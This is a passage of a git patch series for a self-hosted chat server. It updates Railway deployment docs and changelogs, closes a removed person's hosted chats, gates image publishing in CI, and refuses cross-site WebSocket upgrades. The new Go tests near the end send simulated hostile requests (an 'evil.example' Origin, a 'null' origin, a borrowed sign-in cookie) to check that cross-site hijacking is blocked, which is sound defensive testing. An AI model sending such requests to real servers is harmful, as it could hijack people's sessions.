sign-in and invitation mail are optional and untested in the stack; a username and password is the default way in. - One replica of each service; no high availability. diff --git a/internal/manual/chat/organization-start.md b/internal/manual/chat/organization-start.md index 8d0d3fde5e..7f3cd53dde 100644 --- a/internal/manual/chat/organization-start.md +++ b/internal/manual/chat/organization-start.md @@ -66,4 +66,4 @@ After that the organization has its own window: switch to it with the switcher, An organization is a server someone runs, and the public repository has everything to run one yourself. `deploy/org/` holds one Docker Compose file that starts the organization server, the AgentField control plane and the two agents that build an issue into a pull request and review one, plus an optional machine for hosted chats. `docs/organizations.md` says what an organization is, what runs where and who can see what, with a ten-minute path from nothing to a first hosted chat, and `deploy/org/README.md` is the operator's walkthrough: HTTPS, backups, upgrades, the published images and Railway. -In short: `./setup.sh` writes `.env` with fresh secrets, `docker compose up -d` starts everything, and `./operator-link.sh` prints the operator link. That link is a secret and works once; whoever opens it first becomes the operator, who then invites people from People. Anyone connecting from another computer needs HTTPS in front of the server. The same Dockerfiles run on Railway as separate services in one project, hosted chats' machine included, when set up by hand; the draft Railway template made from the published images does not carry that machine yet. +In short: `./setup.sh` writes `.env` with fresh secrets, `docker compose up -d` starts everything, and `./operator-link.sh` prints the operator link. That link is a secret and works once; whoever opens it first becomes the operator, who then invites people from People. Anyone connecting from another computer needs HTTPS in front of the server. The same Dockerfiles run on Railway as separate services in one project, hosted chats' machine included, when set up by hand; on Railway the operator link is read from the `codeaf` service's log, and `deploy/org/railway/operator-link.sh` prints it. A draft Railway template can be made from the published images, which are not published yet. From 00ba3d6c6509cf2b3a18c2f3f129b9467d7f841c Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 00:03:21 -0500 Subject: [PATCH 130/176] docs: change entry for the Railway walk (#2911) Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2911-railway-fresh.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 docs/changes/unreleased/2911-railway-fresh.md diff --git a/docs/changes/unreleased/2911-railway-fresh.md b/docs/changes/unreleased/2911-railway-fresh.md new file mode 100644 index 0000000000..740eeb9124 --- /dev/null +++ b/docs/changes/unreleased/2911-railway-fresh.md @@ -0,0 +1,17 @@ +--- +kind: changed +title: A fresh Railway install follows the docs end to end, and the model door's key and the claim link are told straight +pr: 2911 +surface: [docs, build, chat] +invalidates: + - "Was true: deploy/org's README and compose.yaml said the hosted model door uses OPENROUTER_API_KEY on codeaf, or the key the server already holds. Is true now: the door uses CODEAF_HOSTED_MODEL_KEY, else the organization key an operator saved in Settings, Organizations, and never reads OPENROUTER_API_KEY, which only the runner and the nodes read." + - "Was true: the manual's hosting page told an operator to set CODEAF_HOSTED_MODEL_KEY or the key the server already holds. Is true now: it says that key is one saved in Settings, Organizations, and that the OPENROUTER_API_KEY variable is not what the door uses." + - "Was true: the Railway template script, the operator README, docs/organizations.md and the manual's hosting page said the draft Railway template does not carry the sessionhost. Is true now: make-template.sh adds the sessionhost, the hosted variables and a codeaf health check, and says it has still only been dry-run because the images are not published." + - "Was true: railway up run from a checkout of the repository stopped while indexing, on a tracked symlink to nothing in internal/skills/testdata. Is true now: the test makes its own links, the tree has none that dangle, and a gate fails the build if one comes back." + - "Was true: the README gave the operator link on Railway only as a line in the codeaf deploy log. Is true now: deploy/org/railway/operator-link.sh prints it, and the README says that a restart of an unclaimed codeaf retires the old link and that anyone who can read the project's logs can read it." +--- + +A stranger followed the Railway section from an empty project: every service came up, the sign-in page answered over HTTPS, the sessionhost probe said +`uid+fence` with Landlock, and the organization was left unclaimed. The section now says how the source gets onto Railway (connect the public repository, +a fork, or `railway up` from a fresh clone), the order that worked, the health check path for `codeaf` (`/v1/about`), `GH_TOKEN` for real work, that a volume cannot +shrink, and how to check it. `docs/organizations.md` points a Railway reader at that section. From d593a222751fab50eb2f2b116a61d6035d6a1f30 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 00:03:33 -0500 Subject: [PATCH 131/176] docs: shorten the change entry title so the check passes (#2911) Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2911-railway-fresh.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/changes/unreleased/2911-railway-fresh.md b/docs/changes/unreleased/2911-railway-fresh.md index 740eeb9124..7226333b10 100644 --- a/docs/changes/unreleased/2911-railway-fresh.md +++ b/docs/changes/unreleased/2911-railway-fresh.md @@ -1,6 +1,6 @@ --- kind: changed -title: A fresh Railway install follows the docs end to end, and the model door's key and the claim link are told straight +title: A fresh Railway install follows the docs, and the model door's key and the claim link are told straight pr: 2911 surface: [docs, build, chat] invalidates: From e508385edaf0c550528517195b290b1c38759d16 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 00:05:02 -0500 Subject: [PATCH 132/176] changelog: shorten the 2911 entry title under 100 characters make changelog-check refused the previous title as too long; it now passes. Co-Authored-By: Claude Sonnet 5.5 --- docs/changes/unreleased/2911-railway-fresh.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/changes/unreleased/2911-railway-fresh.md b/docs/changes/unreleased/2911-railway-fresh.md index 7226333b10..ff67661545 100644 --- a/docs/changes/unreleased/2911-railway-fresh.md +++ b/docs/changes/unreleased/2911-railway-fresh.md @@ -1,6 +1,6 @@ --- kind: changed -title: A fresh Railway install follows the docs, and the model door's key and the claim link are told straight +title: A fresh Railway install follows the docs, and the model door's key and claim link are told straight pr: 2911 surface: [docs, build, chat] invalidates: From a513f551eff2a4263d47b697fa36ad9a4dbde16f Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 00:07:49 -0500 Subject: [PATCH 133/176] fix(org): a removed person's chat the host could not delete is closed to everyone When the operator removed a person while the chats' host was down, the person's chats were not listed, so their registry rows and shares stayed, and a guest holding edit could still attach and wake one. Waking a chat mints a fresh model bearer for its owner, which is the access the removal had just ended. Every chat the registry still holds for a removed person now has its shares ended and is made private, so every door answers "There is no such chat." The row stays, so the chat is still tracked and removing the person again once the host answers deletes it. The host calls also stop after the first transport error, so a hung host does not make a removal wait once per chat. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/hosted_removal.go | 73 +++++++++++++++++-- internal/factory/serve/hosted_removal_test.go | 64 ++++++++++++++++ 2 files changed, 130 insertions(+), 7 deletions(-) diff --git a/internal/factory/serve/hosted_removal.go b/internal/factory/serve/hosted_removal.go index 4a19bc414d..b5d7bfe83e 100644 --- a/internal/factory/serve/hosted_removal.go +++ b/internal/factory/serve/hosted_removal.go @@ -8,6 +8,7 @@ import ( "strings" "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/acl" "github.com/Agent-Field/codeaf/internal/factory/store" ) @@ -45,11 +46,11 @@ func (t *bearerTable) revokePerson(person string) int { // The order is the security order: the bearers go first, in this process, so // the model and git doors refuse the person's chats before anything that can // fail or wait is tried. Then the person's sealed keys are forgotten, so a -// provider key or GitHub sign-in they stored is not left behind. Last, their +// provider key or GitHub sign-in they stored is not left behind. Then their // chats are deleted on the chats' host, which frees their Linux user and -// folder and means a guest of theirs cannot wake a chat that now belongs to -// nobody. The host being down never stops a removal: the bearers are already -// refused, and the chats are the only thing left to tidy. +// folder, and forgotten in the registry only once the host says so. Last, +// whatever chat the host did not confirm is closed here, so nobody can wake +// it. The host being down never stops a removal. func (h *Handler) endHostedLifeOf(ctx context.Context, handle string) { cfg := h.config.Hosted if cfg == nil || cfg.state == nil { @@ -68,12 +69,16 @@ func (h *Handler) endHostedLifeOf(ctx context.Context, handle string) { } } } + reachable := true + var ids []string status, _, body, err := hs.call(ctx, http.MethodGet, "/v1/sessions", person, nil) if err != nil || status != http.StatusOK { - log.Print("hosted chats: a removed person's chats could not be listed, so they were left in place") - return + log.Print("hosted chats: a removed person's chats could not be listed on the chats' host") + reachable = false + } else { + ids = hostedChatIDs(body) } - for _, id := range hostedChatIDs(body) { + for _, id := range ids { hs.registry.Lock() status, _, _, err := hs.call(ctx, http.MethodDelete, "/v1/sessions/"+id, person, nil) hs.models.forget(id, person) @@ -84,8 +89,62 @@ func (h *Handler) endHostedLifeOf(ctx context.Context, handle string) { log.Print("hosted chats: a removed person's chat could not be forgotten by the registry") } } + } else if err != nil { + // The host stopped answering: asking it about every other chat would only wait. + reachable = false } hs.registry.Unlock() + if !reachable { + break + } + } + h.closeRemovedChats(person) +} + +// closeRemovedChats shuts every chat the registry still holds for a removed +// person: their grants go and the chat becomes private, so it answers "There +// is no such chat." to everyone, the owner included (whose sign-ins are gone). +// Without this a guest holding steer, run or full on a chat the host could not +// delete would wake it, and waking a chat mints a fresh model bearer for its +// owner, which is the access the removal just ended. The row stays, so the +// chat is still tracked: removing the person again, once the host answers, +// deletes it for good. +func (h *Handler) closeRemovedChats(person string) { + st := h.config.Store + if st == nil { + return + } + hs := h.config.Hosted.state + hs.registry.Lock() + defer hs.registry.Unlock() + rows, err := st.Resources(store.SessionKind) + if err != nil { + log.Print("hosted chats: a removed person's chats could not be read from the registry, so they were not closed") + return + } + left := 0 + for _, row := range rows { + if !hostedRegistration(row) || factory.NormalizeHandle(row.Owner.ID) != person { + continue + } + left++ + grants, err := st.GrantsOn(store.SessionKind, row.ID) + if err != nil { + log.Printf("hosted chats: the shares of a removed person's chat %s could not be read, so it was not closed", row.ID) + continue + } + for _, g := range grants { + if err := st.RemoveGrant(g.ID); err != nil { + log.Printf("hosted chats: a share of a removed person's chat %s could not be ended", row.ID) + } + } + row.Visibility = acl.Private + if err := st.PutResource(row); err != nil { + log.Printf("hosted chats: a removed person's chat %s could not be made private", row.ID) + } + } + if left > 0 { + log.Printf("hosted chats: %d chats of a removed person are still on the chats' host and are closed to everyone; removing the person again once the host answers deletes them", left) } } diff --git a/internal/factory/serve/hosted_removal_test.go b/internal/factory/serve/hosted_removal_test.go index e74740f2d1..731f2c4f25 100644 --- a/internal/factory/serve/hosted_removal_test.go +++ b/internal/factory/serve/hosted_removal_test.go @@ -1,10 +1,15 @@ package serve import ( + "context" "net/http" + "net/http/httptest" "testing" + "time" + "github.com/Agent-Field/codeaf/internal/factory/acl" "github.com/Agent-Field/codeaf/internal/factory/store" + "github.com/coder/websocket" ) // VALIDATION CONTRACT, written before the code it checks: @@ -17,6 +22,9 @@ import ( // - Nobody else is touched: another person's chat keeps its model access. // - The chats' host being down never blocks a removal, and the bearers are // refused anyway. +// - A chat the host could not delete is closed instead: a person it was +// shared with can neither read it nor attach to it, because waking it +// would hand its removed owner a fresh model bearer. func TestRemovingAPersonEndsTheirHostedChatsAndKeys(t *testing.T) { rg := newHostedRig(t) @@ -81,3 +89,59 @@ func TestRemovingAPersonWorksWhileTheChatsHostIsDown(t *testing.T) { t.Errorf("after a removal made while the host was down, the chat's model call = %d, want 401", code) } } + +func TestAGuestCannotWakeARemovedPersonsChatThatTheHostCouldNotDelete(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "mia") + hostedGrant(t, rg, "mia", chat, "santosh", "edit") + kept := rg.create(t, "santosh") + srv := httptest.NewServer(rg.h) + defer srv.Close() + attach := func(who, id string) (int, error) { + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + conn, res, err := websocket.Dial(ctx, wireURL(srv, id), &websocket.DialOptions{ + HTTPHeader: http.Header{"Authorization": {"Bearer " + rg.tokens[who]}}, + }) + if conn != nil { + _ = conn.CloseNow() + } + if res == nil { + return 0, err + } + return res.StatusCode, err + } + + // Control: before the removal the guest reads the chat and attaches to it, so a refusal after is the removal's doing. + if w := rg.send("santosh", http.MethodGet, hostedSessionsPath+"/"+chat, nil, nil); w.Code != http.StatusOK { + t.Fatalf("before the removal, the guest's read of the chat = %d %s", w.Code, w.Body) + } + if code, err := attach("santosh", chat); code != http.StatusSwitchingProtocols { + t.Fatalf("before the removal, the guest's attach = %d, %v", code, err) + } + + rg.hostSrv.Close() + if w := rg.send("owner", "DELETE", "/v1/people/mia/sessions", nil, nil); w.Code != http.StatusOK { + t.Fatalf("removing mia with the chats' host down = %d %s", w.Code, w.Body) + } + + if w := rg.send("santosh", http.MethodGet, hostedSessionsPath+"/"+chat, nil, nil); w.Code != http.StatusNotFound || w.Body.String() != hostNoSuchChat { + t.Errorf("after the removal, the guest's read of the chat = %d %s, want 404 %q", w.Code, w.Body, hostNoSuchChat) + } + if code, _ := attach("santosh", chat); code != http.StatusNotFound { + t.Errorf("after the removal, the guest's attach = %d, want 404", code) + } + row, found, err := rg.st.Resource(store.SessionKind, chat) + if err != nil || !found { + t.Fatalf("the chat the host could not delete must stay tracked in the registry: found=%v, err=%v", found, err) + } + if row.Visibility != acl.Private { + t.Errorf("the closed chat's visibility = %q, want %q", row.Visibility, acl.Private) + } + if grants, err := rg.st.GrantsOn(store.SessionKind, chat); err != nil || len(grants) != 0 { + t.Errorf("the closed chat still has shares: %+v, %v", grants, err) + } + if _, found, err := rg.st.Resource(store.SessionKind, kept); err != nil || !found { + t.Errorf("another person's chat was touched by mia's removal: found=%v, err=%v", found, err) + } +} From 68cf1c20531bf1c7728f438a3713f80d9e66a488 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 00:28:40 -0500 Subject: [PATCH 134/176] docs: a service deployed before the service it names can get an empty host On this install swe-af received CODEAF_BASE_URL=http://:8890/api/v1 because it deployed before modelstub existed, while the variables page showed the right value; the self-test's job section failed until it was redeployed. The README now says to create modelstub with the other services and how to check what a service really received. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/README.md | 8 ++++++-- docs/changes/unreleased/2911-railway-fresh.md | 3 ++- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/deploy/org/README.md b/deploy/org/README.md index 10dd0ac4e1..9ded495d04 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -547,7 +547,7 @@ Pick one; the table's Root Directory and Dockerfile Path are the same for all th ### The order that worked -1. Create the project in the workspace, then every service empty (a variable that names another service needs that service to exist). +1. Create the project in the workspace, then every service empty, `modelstub` too if you will use it (a variable that names another service needs that service to exist, and a service deployed before its target existed can be left with an empty host name: see "Looking inside"). 2. On each service: its variables, Root Directory, Dockerfile Path, a volume of the size in the row, and (`codeaf`) the health check path and the public domain. Give the domain first (`CODEAF_PUBLIC_DOMAIN` is read at start), target port 8787. 3. Connect or upload the source of each service. The three codeaf-image services compile codeaf (about four minutes each); the other @@ -600,7 +600,11 @@ What a first install needs that the table does not show: - **Looking inside.** There is no `docker exec`. `railway ssh` (it needs an SSH key registered on your Railway account; pass it with `-i`) runs a command in a service, with stdin from ` Date: Wed, 25 Nov 2026 00:43:34 -0500 Subject: [PATCH 135/176] org images: build and scan on pull requests into org/main, push only from org/main The workflow named dev and the deleted w24/org-images branch, so the two gate steps added since never ran in CI. A pull request into org/main that touches the stack now builds and scans every image, and never publishes. Co-Authored-By: Claude Opus 5.5 (cherry picked from commit 74d8306573ce26831c57e6165cf16d3901a9952c) --- .github/workflows/org-images.yml | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) diff --git a/.github/workflows/org-images.yml b/.github/workflows/org-images.yml index 0a6075dadc..a842da7528 100644 --- a/.github/workflows/org-images.yml +++ b/.github/workflows/org-images.yml @@ -24,11 +24,20 @@ name: org images # # THIRD-PARTY ACTIONS ARE PINNED TO A COMMIT, not a tag: this workflow can hold a registry token, and a tag can be moved. # The comment beside each is the release it was resolved from. +# A pull request into `org/main` that touches the stack builds and scans every image without pushing, so the leak gate and +# the context checks are proven before the line moves rather than after; a push to `org/main` builds, scans and (with +# credentials) publishes `branch-org-main`. on: push: branches: - dev - - w24/org-images + - org/main + pull_request: + branches: + - org/main + paths: + - "deploy/org/**" + - ".github/workflows/org-images.yml" workflow_dispatch: permissions: @@ -93,7 +102,13 @@ jobs: fi echo "short=${short}" >> "${GITHUB_OUTPUT}" echo "tags=${tags}" >> "${GITHUB_OUTPUT}" - echo "push=${HAVE_PUSH_SECRETS}" >> "${GITHUB_OUTPUT}" + # A pull request never publishes, even from a branch of this repository that can read the secrets: only a push + # or a person's dispatch moves a public tag. + if [ "${GITHUB_EVENT_NAME}" = "pull_request" ]; then + echo "push=false" >> "${GITHUB_OUTPUT}" + else + echo "push=${HAVE_PUSH_SECRETS}" >> "${GITHUB_OUTPUT}" + fi if [ "${HAVE_PUSH_SECRETS}" != "true" ]; then echo "No registry credentials here (DOCKERHUB_USERNAME and DOCKERHUB_TOKEN are not both set): every image is built and scanned, none is pushed." >> "${GITHUB_STEP_SUMMARY}" fi From 0191af40dcbeebabff273b3e10be3293d4dcf1da Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 01:04:22 -0500 Subject: [PATCH 136/176] change entry 2912: removal ends hosted chats' access, and shared-area leftovers are cleared Co-Authored-By: Claude Sonnet 5.5 --- .../unreleased/2912-removal-ends-hosted-chats.md | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 docs/changes/unreleased/2912-removal-ends-hosted-chats.md diff --git a/docs/changes/unreleased/2912-removal-ends-hosted-chats.md b/docs/changes/unreleased/2912-removal-ends-hosted-chats.md new file mode 100644 index 0000000000..72be7d6f15 --- /dev/null +++ b/docs/changes/unreleased/2912-removal-ends-hosted-chats.md @@ -0,0 +1,15 @@ +--- +kind: fixed +title: Removing a person ends their hosted chats' access and a chat's shared-area leftovers are cleared +pr: 2912 +surface: [factory, engine, build] +invalidates: + - "Removing a person from the organization ended their sign-ins and bots and was believed to end what their hosted chats could still do, but a hosted chat holds a model and git bearer of its own that lasts seven days, so a removed person's chat kept spending the organization's model key and reaching git as them, and their stored keys and chats stayed behind. Now removal ends those bearers at once, forgets their stored provider keys and deletes their chats on the chats' host. A chat the host could not delete is closed to everyone, guests included, and removing the person again deletes it." + - "A hosted chat that was stopped, deleted or started afresh was believed to leave nothing behind but its own folder, but whatever its Linux user had left in /tmp, /dev/shm, /var/tmp and in System V shared memory, queues and semaphores stayed, and the next chat given that same user found it as its own. Now every mode of the reap helper removes those, as that user and without following links." + - "A reconnect to a hosted chat made just after a connection to it ended could be refused as the chat being unavailable and read as The place chats run on is not answering. It no longer is, because a connection leaves the chat's group before it is cancelled." +--- + +Found by the ship-ready test round on the organization line: a hostile websocket client, sandbox-escape probes through a +chat's own tool path, the reuse of a Linux user after a chat is deleted, and concurrent spend caps. The keyless smoke's +list-row check also now expects the `verbs` the server sends. Nothing about a chat's limits, sharing or the model door +changed for anyone who was not removed. From fb96d8f1d3029930d92bce3b49c944f10901b76a Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 01:32:00 -0500 Subject: [PATCH 137/176] org: refuse a websocket upgrade whose Origin is another site A WebSocket is exempt from the browser's same-origin policy, so a hostile page could open the hosted chat wire as a person whose sign-in cookie the browser sends. The cookie is SameSite=Strict, which does not cover a page on a sibling name of the same site. Any request that upgrades the connection and carries an Origin other than this server's own (the host it was sent to, or the host of its public address) now answers 403 with one plain sentence, before a credential is read. No Origin is accepted: the command line and the desktop app's engine send none, and no client needs an allowed list. Two existing tests sent a foreign Origin only as a stand-in for hostile headers; they now send the server's own. Co-Authored-By: Claude Sonnet 5.5 --- internal/factory/serve/hosted_guest_test.go | 2 +- internal/factory/serve/hosted_proxy_test.go | 4 + internal/factory/serve/serve.go | 6 + internal/factory/serve/upgrade_origin.go | 72 +++++++ internal/factory/serve/upgrade_origin_test.go | 185 ++++++++++++++++++ 5 files changed, 268 insertions(+), 1 deletion(-) create mode 100644 internal/factory/serve/upgrade_origin.go create mode 100644 internal/factory/serve/upgrade_origin_test.go diff --git a/internal/factory/serve/hosted_guest_test.go b/internal/factory/serve/hosted_guest_test.go index 5d1d1558a8..358cd2c1fc 100644 --- a/internal/factory/serve/hosted_guest_test.go +++ b/internal/factory/serve/hosted_guest_test.go @@ -78,7 +78,7 @@ func guestDial(t *testing.T, srv *httptest.Server, secret, chat string) *websock ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) defer cancel() conn, _, err := websocket.Dial(ctx, wireURL(srv, chat), &websocket.DialOptions{ - HTTPHeader: http.Header{"Authorization": {"Bearer " + secret}, "Origin": {"https://another.example"}}, + HTTPHeader: http.Header{"Authorization": {"Bearer " + secret}, "Origin": {srv.URL}}, }) if err != nil { t.Fatal(err) diff --git a/internal/factory/serve/hosted_proxy_test.go b/internal/factory/serve/hosted_proxy_test.go index 07042f5a74..7afaa3e688 100644 --- a/internal/factory/serve/hosted_proxy_test.go +++ b/internal/factory/serve/hosted_proxy_test.go @@ -495,6 +495,10 @@ func TestC10_ClientCannotSupplyIdentityHeaders(t *testing.T) { for k, v := range hostile { header.Set(k, v) } + // A page this server serves sends this server's own origin, and that must + // still not reach the chats' host. A page from another site is refused + // before the host is asked (upgrade_origin_test.go). + header.Set("Origin", srv.URL) before = rg.host.count() ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) defer cancel() diff --git a/internal/factory/serve/serve.go b/internal/factory/serve/serve.go index e1df84423f..c826561117 100644 --- a/internal/factory/serve/serve.go +++ b/internal/factory/serve/serve.go @@ -555,6 +555,12 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { r = authRequest(h.withClient(r)) worker := workerPath(r.URL.Path) w.Header().Set("Cache-Control", "no-store") + // A page from another site cannot open a WebSocket here, whatever it + // carries: asked before anything reads a credential (upgrade_origin.go). + if h.crossSiteUpgrade(r) { + h.fail(w, http.StatusForbidden, crossSiteUpgradeWords) + return + } // A hosted chat's model call proves itself with the bearer minted for it // and has no sign-in, so it is answered before the sign-in below. False // unless hosted chats are turned on, which leaves every path as it was. diff --git a/internal/factory/serve/upgrade_origin.go b/internal/factory/serve/upgrade_origin.go new file mode 100644 index 0000000000..401d9dca98 --- /dev/null +++ b/internal/factory/serve/upgrade_origin.go @@ -0,0 +1,72 @@ +package serve + +import ( + "net/http" + "net/url" + "strings" +) + +// crossSiteUpgradeWords is what a page on another site reads when it tries to +// open a connection that upgrades the request (the hosted chat's wire). +const crossSiteUpgradeWords = "This page is from another site, so it cannot open a chat connection here." + +// crossSiteUpgrade says the request upgrades the connection (a WebSocket) and +// carries an Origin that is not this server's own. +// +// A BROWSER IS THE ONLY CALLER THAT SENDS AN ORIGIN, AND THE ONLY ONE THAT CAN +// BE MADE TO CARRY A PERSON'S SIGN-IN COOKIE ONTO A CONNECTION THE PERSON DID +// NOT OPEN. A WebSocket is exempt from the same-origin policy: a hostile page +// can open one to this server and read everything it says, with the cookie +// attached when the browser sends it. The cookie is SameSite=Strict, which +// holds it back from another site and not from a page on a sibling name of +// the same site, so the server refuses on its own. The command line, the +// desktop app's engine and every other program that is not a browser send no +// Origin, so a request without one is never refused here. +// +// The server's own origin is the host the request was sent to (what the +// browser used to reach it, and so the host of any page the server serves) or +// the host of the server's public address, which a proxy that does not pass +// the Host header through still names. The scheme is not compared: a proxy +// that does not say it served HTTPS would otherwise refuse the server's own +// page, and the cookie's Secure flag already keeps it off a plain connection. +// A name that points at this server (DNS rebinding) would pass the host test, +// and holds no cookie for it, because a cookie belongs to the name that set it. +func (h *Handler) crossSiteUpgrade(r *http.Request) bool { + if r.Header.Get("Upgrade") == "" { + return false + } + origins := r.Header.Values("Origin") + if len(origins) == 0 { + return false + } + if len(origins) > 1 { + return true + } + origin, err := url.Parse(origins[0]) + if err != nil || origin.Host == "" || origin.Scheme != "http" && origin.Scheme != "https" || origin.Path != "" || origin.User != nil { + // "null" (a sandboxed frame or a local file) and anything that is not a + // web origin name no server of ours. + return true + } + from := originHost(origin.Scheme, origin.Host) + if from == originHost(origin.Scheme, r.Host) { + return false + } + if public, err := url.Parse(h.config.Address); err == nil && public.Host != "" && from == originHost(public.Scheme, public.Host) { + return false + } + return true +} + +// originHost is host in lower case without the port its scheme implies, so +// `https://org.example.com` and a Host of `org.example.com:443` are one name. +func originHost(scheme, host string) string { + host = strings.ToLower(strings.TrimSpace(host)) + switch { + case scheme == "https" && strings.HasSuffix(host, ":443"): + return strings.TrimSuffix(host, ":443") + case scheme == "http" && strings.HasSuffix(host, ":80"): + return strings.TrimSuffix(host, ":80") + } + return host +} diff --git a/internal/factory/serve/upgrade_origin_test.go b/internal/factory/serve/upgrade_origin_test.go new file mode 100644 index 0000000000..c0131a1e66 --- /dev/null +++ b/internal/factory/serve/upgrade_origin_test.go @@ -0,0 +1,185 @@ +package serve + +import ( + "context" + "io" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "github.com/coder/websocket" +) + +// THE VALIDATION CONTRACT (a browser page from another site must not be able to +// open a person's chat connection with the credential their browser holds): +// +// 1. An upgrade whose Origin is another site is refused with 403 and one plain +// sentence, before any credential is read and before the chats' host is asked. +// 2. An upgrade whose Origin is this server's own (the host the request was sent +// to, or the host of the server's public address) goes through. +// 3. An upgrade with no Origin goes through: the command line, the desktop +// app's engine and every other program that is not a browser send none. +// 4. A request that is not an upgrade is not touched by this check. + +func dialWire(t *testing.T, srv *httptest.Server, id string, header http.Header) (*websocket.Conn, *http.Response, error) { + t.Helper() + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) + defer cancel() + return websocket.Dial(ctx, wireURL(srv, id), &websocket.DialOptions{HTTPHeader: header}) +} + +// A hostile page's connection is refused with the sentence, whether or not it +// carries a credential, and the chats' host hears nothing of it (contract 1). +func TestACrossSiteUpgradeIsRefusedBeforeAnythingElseIsAsked(t *testing.T) { + rg := newHostedRig(t) + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + id := "hs_" + strings.Repeat("f", 24) + rg.host.adopt(id, "santosh") + before := rg.host.count() + for _, tc := range []struct { + name string + header http.Header + }{ + {"with the owner's credential", http.Header{"Authorization": {"Bearer " + rg.tokens["santosh"]}, "Origin": {"https://evil.example"}}}, + {"with the owner's sign-in cookie", http.Header{"Cookie": {accessCookieName + "=whatever"}, "Origin": {"https://evil.example"}}}, + {"with no credential", http.Header{"Origin": {"https://evil.example"}}}, + {"from a sibling name of the same site", http.Header{"Authorization": {"Bearer " + rg.tokens["santosh"]}, "Origin": {"https://app.localhost"}}}, + {"from the same host on another port", http.Header{"Authorization": {"Bearer " + rg.tokens["santosh"]}, "Origin": {"http://127.0.0.1:1"}}}, + {"with an opaque origin", http.Header{"Authorization": {"Bearer " + rg.tokens["santosh"]}, "Origin": {"null"}}}, + } { + _, resp, err := dialWire(t, srv, id, tc.header) + if err == nil || resp == nil { + t.Fatalf("%s: the upgrade was accepted (err %v)", tc.name, err) + } + body, _ := io.ReadAll(resp.Body) + _ = resp.Body.Close() + if resp.StatusCode != http.StatusForbidden || errorOf(t, body) != crossSiteUpgradeWords { + t.Errorf("%s: %d %s", tc.name, resp.StatusCode, body) + } + } + if after := rg.host.count(); after != before { + t.Errorf("a refused upgrade reached the chats' host: %d requests", after-before) + } +} + +// A guest's connection (the frame-aware path) and every other route share the +// one check, because it runs before routing (contract 1). +func TestACrossSiteUpgradeIsRefusedForAGuestToo(t *testing.T) { + rg := newHostedRig(t) + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "edit") + _, resp, err := dialWire(t, srv, chat, http.Header{"Authorization": {"Bearer " + rg.tokens["abir"]}, "Origin": {"https://evil.example"}}) + if err == nil || resp == nil || resp.StatusCode != http.StatusForbidden { + t.Fatalf("a guest's cross-site upgrade: %v %v", resp, err) + } + ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) + defer cancel() + request, _ := http.NewRequestWithContext(ctx, http.MethodGet, srv.URL+"/v1/about", nil) + request.Header.Set("Connection", "Upgrade") + request.Header.Set("Upgrade", "websocket") + request.Header.Set("Origin", "https://evil.example") + res, err := http.DefaultClient.Do(request) + if err != nil { + t.Fatal(err) + } + body, _ := io.ReadAll(res.Body) + _ = res.Body.Close() + if res.StatusCode != http.StatusForbidden || errorOf(t, body) != crossSiteUpgradeWords { + t.Errorf("an upgrade of another route from another site: %d %s", res.StatusCode, body) + } +} + +// An upgrade from this server's own origin works and still never carries the +// Origin to the chats' host, and so does one with no Origin at all (contracts 2 and 3). +func TestAnUpgradeFromTheServersOwnOriginOrWithNoneGoesThrough(t *testing.T) { + rg := newHostedRig(t) + srv := httptest.NewServer(rg.h) + t.Cleanup(srv.Close) + id := "hs_" + strings.Repeat("9", 24) + rg.host.adopt(id, "santosh") + for name, origin := range map[string]string{"its own origin": srv.URL, "no origin": ""} { + header := http.Header{"Authorization": {"Bearer " + rg.tokens["santosh"]}} + if origin != "" { + header.Set("Origin", origin) + } + c, _, err := dialWire(t, srv, id, header) + if err != nil { + t.Fatalf("%s: %v", name, err) + } + ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) + if err := c.Write(ctx, websocket.MessageBinary, []byte("ping")); err != nil { + t.Fatal(err) + } + if _, got, err := c.Read(ctx); err != nil || string(got) != "ping" { + t.Fatalf("%s: %q %v", name, got, err) + } + c.Close(websocket.StatusNormalClosure, "") + cancel() + } + for _, seen := range rg.host.requests() { + if values := seen.header.Values("Origin"); len(values) != 0 { + t.Errorf("%s %s carried an Origin to the chats' host: %v", seen.method, seen.path, values) + } + } +} + +// Only an upgrade is asked: an ordinary request that carries another site's +// Origin is answered as it always was (contract 4), and the same credential +// on the same route from a page of ours is not changed either. +func TestARequestThatIsNotAnUpgradeIsNotAskedAboutItsOrigin(t *testing.T) { + rg := newHostedRig(t) + w := rg.send("santosh", http.MethodGet, "/v1/hosted/sessions", nil, map[string]string{"Origin": "https://evil.example"}) + if w.Code != http.StatusOK { + t.Fatalf("a plain request from another site's page = %d %s", w.Code, w.Body) + } +} + +// The decision itself, over the shapes an Origin can take (contracts 1 to 3), +// 